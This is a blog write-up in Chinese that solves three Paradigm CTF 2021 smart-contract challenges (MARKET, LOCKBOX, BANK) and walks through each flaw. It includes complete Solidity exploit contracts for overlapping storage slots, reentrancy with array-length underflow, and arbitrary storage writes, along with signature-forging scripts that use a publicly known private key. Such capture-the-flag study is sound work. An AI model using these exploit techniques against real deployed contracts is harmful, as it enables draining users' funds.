Writeup | Paradigm CTF 2021 Part two

Writeup | Paradigm CTF 2021 Part one - Sissice’s Blog

MARKET

要解决该合约的要求是:让Market合约所有的ETH都消失

1
2
3
function isSolved() external view returns (bool) {
return address(market).balance == 0;
}

在constructor中,一共使用5+10+15+20=50 ether,铸造了4枚NFT,并且拥有者地址不同

1
2
3
4
5
uint tokenCost = 5 ether;
for (uint i = 0; i < 4; i++) {
market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i)))));
tokenCost += 5 ether;
}

初步想法是将NFT卖给market,清空market的余额

但是sellCollectible中对tokenOwner有限制

1
2
3
4
5
6
7
8
9
10
11
function sellCollectible(bytes32 tokenId) public payable {
require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");

(, address tokenOwner, address approved, ) = cryptoCollectibles.getTokenInfo(tokenId);
require(msg.sender == tokenOwner, "sellCollectible/not-owner");
require(approved == address(this), "sellCollectible/not-approved");

cryptoCollectibles.transferFrom(tokenId, msg.sender, address(this));

msg.sender.transfer(tokenPrices[tokenId]);
}

EternalStorage用来存储状态,合约中为了节省gas使用assembly,等效于以下结构

1
2
3
4
5
6
7
8
mapping(bytes32 => TokenInfo) tokens;

struct TokenInfo {
bytes32 displayName; //slot0
address owner; //slot1
address approved; //slot2
address metadata; //slot3
}

而我们需要向EVM写数据,就需要满足msg.sender==owner 或者 msg.sender==tokenOwner的要求

正常来说mapping的存储位置无法让两个tokenId的结构体存在部分重叠

但是在实际的assembly中选择了以下方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
case 0xa9fde064 { // updateName(bytes32,bytes32)
let tokenId := calldataload(0x04)
let newName := calldataload(0x24)

ensureTokenOwner(tokenId)
sstore(tokenId, newName) //SSTORE从堆栈中弹出两个值,首先是32字节的key,其次是32字节的value,并将该值存储在由key定义的指定存储槽中
}
case 0x9711a543 { // updateOwner(bytes32,address)
let tokenId := calldataload(0x04)
let newOwner := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)

ensureTokenOwner(tokenId)
sstore(add(tokenId, 1), newOwner)
}
case 0xbdce9bde { // updateApproval(bytes32,address)
let tokenId := calldataload(0x04)
let newApproval := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)

ensureTokenOwner(tokenId)
sstore(add(tokenId, 2), newApproval)
}
case 0x169dbe24 { // updateMetadata(bytes32,address)
let tokenId := calldataload(0x04)
let newMetadata := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)

ensureTokenOwner(tokenId)
sstore(add(tokenId, 3), newMetadata)
}

可以试图操纵tokenId的数值,让两个tokenId的结构体存在部分重叠,即让tokenId_1的slot_1刚好位于tokenId_0的slot_3

1
2
3
4
5
6
tokenId_0.name     
tokenId_0.owner
tokenId_0.approval - tokenId_1.name
tokenId_0.metadata - tokenId_1.owner
- tokenId_1.approval
- tokenId_1.metadata

这样我们就可以通过tokenId_0.metadata来设置tokenId_1.owner

而mint函数中生成的tokenId是随机的,不能通过这个函数生成我们想要的tokenId

1
2
3
4
5
6
7
function mint(address tokenOwner) external returns (bytes32) {
require(minters[msg.sender], "mint/not-minter");

bytes32 tokenId = keccak256(abi.encodePacked(address(this), tokenIdSalt++));
eternalStorage.mint(tokenId, "My First Collectible", tokenOwner);
return tokenId;
}

但是有一个最大的漏洞在于调用sellCollectible,sell一个token的时候,直接给出tokenId,然后用该tokenId作为从存储中取值的key获取整个tokenInfo,不会验证这个NFT是否被铸造过。因此我们可以虚构一个tokenId_1, 满足上面的关系。

1
2
3
4
5
6
7
8
function getTokenInfo(bytes32 tokenId) external view returns (bytes32, address, address, address) {
return (
eternalStorage.getName(tokenId),
eternalStorage.getOwner(tokenId),
eternalStorage.getApproval(tokenId),
eternalStorage.getMetadata(tokenId)
);
}

由于sellCollectible函数中要求价格大于0,所以不能出售我们自己虚构的token

1
require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");

所以进行两次tokenId的数值的更改,将tokenId_0出售两次

  1. 铸造一个tokenId_0,并更改metadata为攻击合约地址
  2. 出售tokenId_0
  3. 虚构tokenId_1,tokenId的值为 token_0+2 (此时tokenId_1.owner=tokenId_0.metadata=攻击合约地址)
  4. 更改tokenId_1.name为攻击合约地址(此时tokenId_0.approval=tokenId_1.name=攻击合约地址)
  5. 将tokenId_0 transferFrom 给攻击合约
  6. 再次出售

注意,由于要求是让Market合约所有的ETH都消失,而代币价格不等于发送的以太币数量

所以我们选择设定一个较高的tokenPrices,并在第二次出售之前计算Market合约缺失的tokenPrices

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity 0.7.0;

import "./Setup.sol";

contract marketExploit {
marketSetup public setup;
EternalStorageAPI public eternalStorage;
CryptoCollectibles public token;
CryptoCollectiblesMarket public market;
constructor(address _setup) payable {
setup = marketSetup(_setup);
eternalStorage = setup.eternalStorage();
token = setup.token();
market = setup.market();
require(msg.value == 70 ether);
bytes32 token_0 = market.mintCollectibleFor{value: 70 ether}(address(this));
//修改token_0.metadata, 让它等于address(this)
eternalStorage.updateMetadata(token_0,address(this));
//approve token
token.approve(token_0, address(market));
//卖出该token_0, tokenId为token_0
market.sellCollectible(token_0);
//get token_1
bytes32 token_1 = bytes32(uint256(token_0)+2);
//updateName->approval
eternalStorage.updateName(token_1, bytes32(uint256(address(this))));
// transferFrom
token.transferFrom(token_0, address(market), address(this));
token.approve(token_0, address(market));
//fix price
uint tokenPrice = msg.value * 10000 / (10000 + 1000);
uint missingBalance = tokenPrice - address(market).balance;
//补偿缺少的ETH
market.mintCollectible{value:missingBalance}();
//sellAgain
market.sellCollectible(token_0);
}
}

LOCKBOX

利用modifier,套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
modifier _() {
_;

assembly {
//第一步:拿到全局变量Stage, 判断如果stage的值没有更新则返回
let next := sload(next_slot)
if iszero(next) {
return(0, 0)
}

//第二步:调用Stage上的getSelector()函数,将结果存储在内存中
// keccak(abi.encode("getSelector"))[0:0x04] = 0x034899bc
mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)
pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))

//第三步:调用Stage合约,函数选择器为getSelector()函数的返回值,参数为CALLDATA[0x04:]
calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
//第四步:如果调用失败,则REVERT
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
}

Entrypointto等到Stage1to Stage2Stage5我们会将相同的 calldata 传递给所有调用。所以一个 calldata 解决题中的6个条件

Entrypoint

随机数预测,传入 bytes4(blockhash(block.number - 1)) 即可

1
2
3
4
5
function solve(bytes4 guess) public _ {
require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");

solved = true;
}

Stage1

需要获得 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf 的私钥,这是一个非常出名的地址,其私钥为:0x0000000000000000000000000000000000000000000000000000000000000001

1
2
3
function solve(uint8 v, bytes32 r, bytes32 s) public _ {
require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?");
}

注意:在一般的web3.js中,在eth-sign时,会在签名的消息前加上\x19Ethereum Signed Message + len(msg)一段bytecode。故需使用不加入此消息的eth-sign函数库。

起初使用we3py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from eth_account import Account, messages
from eth_account.messages import encode_defunct

from web3 import Web3, HTTPProvider

rpc = "https://mainnet.infura.io/v3/0aec7fd42e0a40f28dd6c1a185f7d3e6"
web3 = Web3(HTTPProvider(rpc))

messageshash = web3.toHex(web3.sha3(text='stage1'))
print(messageshash)
private_key_hex = "0x0000000000000000000000000000000000000000000000000000000000000001"

signed_message = Account.signHash(message_hash=messageshash, private_key=private_key_hex)

print("signature =", signed_message)

print("r = ", web3.toHex(signed_message.r))
print("s = ", web3.toHex(signed_message.s))
print("v = ", web3.toHex(signed_message.v))


计算得出结果

1
2
3
r =  0x370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3b
s = 0x35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67
v = 0x1b

但是由于此结果不能满足Stage3

所以使用原始ecdsaSign来签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const ethereumjs_util = require("ethereumjs-util");
const { randomBytes } = require('crypto');
const { ecdsaSign } = require('ethereum-cryptography/secp256k1')

const privateKeyStr = '0x0000000000000000000000000000000000000000000000000000000000000001';
const hashStr = '0x' + (ethereumjs_util.keccak(Buffer.from('stage1'), 256)).toString('hex');

const privateKey = Buffer.from(privateKeyStr.slice(2), "hex");
const hash = Buffer.from(hashStr.slice(2), "hex");

while (true) {
// node_modules /@types/secp256k1/index.d.ts
const { signature, recid } = ecdsaSign(hash, privateKey, { data: randomBytes(32) });

v = recid + 27;
r = Buffer.from(signature.slice(0, 32))
s = Buffer.from(signature.slice(32, 64))

if (v != 28) {
continue;
}

const rBN = '0x' + r.toString('hex');
const sBN = '0x' + s.toString('hex');

// stage3 require: out of order
if (sBN < rBN) {
continue;
}

// // stage3 require: this is a bit odd
if (sBN.slice(-2) % 2 != 0) {
continue;
}

break;
}

console.log('0x' + v.toString(16));
console.log('0x' + r.toString('hex'));
console.log('0x' + s.toString('hex'));


得到答案

1
2
3
v = 0x1c
r = 0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43
s = 0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98

Stage2

1
2
3
function solve(uint16 a, uint16 b) public _ {
require(a > 0 && b > 0 && a + b < a, "something doesn't add up");
}

取了 2个 storage的uint 。

Stage3

1
2
3
4
5
6
7
8
9
10
11
function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {
require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");

for (uint i = 0; i < keys.length - 1; i++) {
require(keys[i] < keys[i + 1], "out of order");
}

for (uint j = 0; j < keys.length; j++) {
require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd");
}
}

这时的slot部署是这样的

1
2
3
4
5
6
7
slot0    idx      guess v  
slot1 keys[0] r
slot2 keys[1] s
slot3 keys[2]
slot4 keys[3]
slot5 lock[0]
slot6 lock[1]

这里有三个条件

  1. keys[idx % 4] == lock[idx % 4]

    由于idx = 0xff1c,所以idx % 4 = 0

    即keys[0] == lock[0]

  2. keys[i] < keys[i + 1]

    要求呈递增排列

  3. (keys[j] - lock[j]) % 2 == 0

    对应位置的差值必须是偶数,两个偶数相减肯定是偶数,两个奇数相减肯定也是偶数。

Stage4

1
2
3
function solve(bytes32[6] choices, uint choice) public _ {
require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!");
}

要求在前6块slot中部署一个abi.encodePacked(“choose”)

这里还剩下slot3和slot4为空

由于需要满足差值为偶数,所以只能放在slot4

Stage5

1
2
3
function solve() public _ {
require(msg.data.length < 256, "a little too long");
}

要求整个data的长度不能超过256

所以综上,得出攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import "./Setup.sol";

contract lockBoxExploit {
Entrypoint public entrypoint;
constructor(address _setup) public {
entrypoint = lockBoxSetup(_setup).entrypoint();
}
function exploit() public {
bytes memory data = abi.encodePacked(
entrypoint.solve.selector,
uint(uint16(0xff1c) | (uint256(bytes32(bytes4(blockhash(block.number - 1))))),
bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), //r
bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98), //s
bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e9a), //满足差值偶数
bytes32(keccak256('choose')),
bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), // =r
bytes32(0x0000000000000000000000000000000000000000000000000000000000000004) //做的choice 也就是指向abi.encodePakced("choose")的指针
);
uint size = data.length;
address entry = address(entrypoint);
assembly{
switch call(gas(),entry,0,add(data,0x20),size,0,0)
case 0 {
returndatacopy(0x00,0x00,returndatasize())
revert(0, returndatasize())
}
}
}

}

BANK

要求是清空bank合约中的50个WETH

1
2
3
function isSolved() external view returns (bool) {
return weth.balanceOf(address(bank)) == 0;
}

阅读bank代码可以发现

  • depositToken, withdrawToken等函数都没有防止重入的措施

    • 没有nonReentry修饰符
  • 存在数组越界情况

    • accounts[msg.sender].length--;

      如果此时的 accounts[msg.sender].length == 0 ,则会使得 accounts[msg.sender].length 下溢出

      由此可以满足 setAccountName 的条件

      1
      2
      3
      4
      5
      function setAccountName(uint accountId, string name) external {
      require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");

      accounts[msg.sender][accountId].accountName = name;
      }
    • account.uniqueTokens--;

  • 复杂的数据结构

    1
    2
    3
    4
    5
    6
    7
    struct Account {
    string accountName;
    uint uniqueTokens;
    mapping(address => uint) balances;
    }

    mapping(address => Account[]) accounts;

    结合 setAccountName 函数,可以在任何我们感兴趣的Storage进行写入

于是想到可以先利用重入使 accounts[msg.sender].length 下溢,再在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后再调用withdraw函数取出合约中所有的WETH到我的账户上。

重入和下溢

分析withdarwToken函数发现,有如下两个函数涉及到外部合约的调用:

1
2
ERC20Like(token).balanceOf(msg.sender)
ERC20Like(token).transferFrom(msg.sender, address(this), amount)

并且withdarwToken和closeLastAccount都会涉及到 accounts[msg.sender].length--;

由此得到一个重入逻辑

1
2
3
4
5
6
7
deposit(0, address(this), 0) // 第一次调用balanceOf重入,len=1,uniqueTokens == 0
withdraw(0, address(this), 0) // 第二次调用balanceOf重入,len=1,uniqueTokens == 0
deposit(0, address(this), 0) // 第三次调用balanceOf重入,len=1,uniqueTokens == 0
closeLastAccount() // (通过检查 .length > 0 && uniqueTokens == 0)
deposit 继续执行并将 uniqueTokens 设置为 1
withdraw 继续执行并再次删除帐户(通过 uniqueTokens == 1 检查)
deposit 继续执行,我们不关心它的作用

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
reentrancyState = 1;
bank.depositToken(0, address(this), 0);

function balanceOf(address who ) public returns (uint256) {
uint result = balances[who];

if (reentrancyState == 1) {
reentrancyState++;
bank.withdrawToken(0, this, 0);
} else if (reentrancyState == 2) {
reentrancyState++;
bank.depositToken(0, this, 0);
} else if (reentrancyState == 3) {
reentrancyState++;
bank.closeLastAccount();
}

return result;
}

任意写入

再看一下 setAccountName 函数

1
2
3
4
5
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");

accounts[msg.sender][accountId].accountName = name;
}

联系数据结构

1
2
3
4
5
6
7
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}

mapping(address => Account[]) accounts;

可以想到计算出一个accountId

可以通过 setAccountName 来设置WETH的余额

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
slot(accounts[msg.sender][accountId].accountName) == slot(accounts[msg.sender][accountId].balances[WETH])

slot(accounts[msg.sender][accountId].accountName) =
{
base_key = keccak(abi.encodePacked(msg.sender, 0x02)); //mapping(address => Account[])
acc_key = keccak(base_key) + 3 * accountId //Account[] 类似于动态数组 且Account占三个slot
accountName_key = acc_key + 0x00 //accountName处于第一位
}

slot(accounts[msg.sender][accountId].balances[WETH]) =
{
base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key2 = keccak(base_key2) + 3 * accountId
balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) //balances处于第三位
}

由此可以得到以下攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import "./Setup.sol";

contract BadToken is ERC20Like {
mapping(address => uint) balances;

uint stage = 0;

function transfer(address dst, uint qty) public returns (bool) {
balances[msg.sender] -= qty;
balances[dst] += qty;
return true;
}

function transferFrom(address src, address dst, uint qty) public returns (bool) {
balances[src] -= qty;
balances[dst] += qty;
return true;
}

function approve(address, uint) public returns (bool) {
return true;
}

function balanceOf(address who) public view returns (uint) {
uint result = balances[who];

if (reentrancyState == 1) {
reentrancyState++;
bank.withdrawToken(0, this, 0);
} else if (reentrancyState == 2) {
reentrancyState++;
bank.depositToken(0, this, 0);
} else if (reentrancyState == 3) {
reentrancyState++;
bank.closeLastAccount();
}

return result;
}

Bank private bank;
WETH9 private weth;
uint public reentrancyState;

function exploit(bankSetup setup) public {
bank = setup.bank();
weth = setup.weth();

reentrancyState = 1;
bank.depositToken(0, address(this), 0);

bytes32 myArraySlot = keccak256(bytes32(address(this)), uint(2));
bytes32 myArrayStart = keccak256(myArraySlot);

uint account = 0;
uint slotsNeeded;
while (true) {
bytes32 account0Start = bytes32(uint(myArrayStart) + 3*account);
bytes32 account0Balances = bytes32(uint(account0Start) + 2);
bytes32 wethBalance = keccak256(bytes32(address(weth)), account0Balances);

slotsNeeded = (uint(-1) - uint(myArrayStart));
slotsNeeded++;
slotsNeeded += uint(wethBalance);
if (uint(slotsNeeded) % 3 == 0) {
break;
}
account++;
}

uint accountId = uint(slotsNeeded) / 3;

bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));

bank.withdrawToken(account, address(weth), weth.balanceOf(address(bank)));
}
}

contract bankExploit {
constructor(bankSetup setup) public {
new BadToken().exploit(setup);
}
}


Writeup | Paradigm CTF 2021 Part two
http://sissice.github.io/2022/09/23/ParadigmCTF2021two/
作者
Sissice
发布于
2022年9月23日
许可协议